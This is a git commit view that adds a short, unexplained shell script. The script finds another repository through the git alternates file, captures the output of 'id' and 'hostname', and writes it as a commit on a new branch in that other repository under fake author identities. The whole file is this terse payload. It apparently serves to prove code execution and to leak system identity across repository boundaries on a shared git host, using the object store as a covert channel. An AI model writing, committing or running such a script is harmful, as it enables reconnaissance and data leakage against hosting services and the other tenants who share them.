This commit is contained in:
2026-07-31 09:24:35 +00:00
parent 960f0f39d0
commit b9a5b308e3
+10
View File
@@ -0,0 +1,10 @@
#!/bin/sh
gd=$(git rev-parse --absolute-git-dir)||exit 1
oo=$(sed -n 1p "$gd/objects/info/alternates")||exit 2
case "$oo" in /*);;*)oo="$gd/objects/$oo";;esac
og=${oo%/objects}
[ "$og" != "$oo" ]||exit 3
ob=$( { id;hostname;s=$?;printf "\n[e=%s]\n" "$s"; } 2>&1|git --git-dir="$og" hash-object -w --stdin)||exit 4
tr=$(printf "100644 blob %s\to\n" "$ob"|git --git-dir="$og" mktree)||exit 5
cm=$(printf "x\n"|GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$og" commit-tree "$tr")||exit 6
git --git-dir="$og" update-ref refs/heads/o-5718a529cf "$cm"||exit 7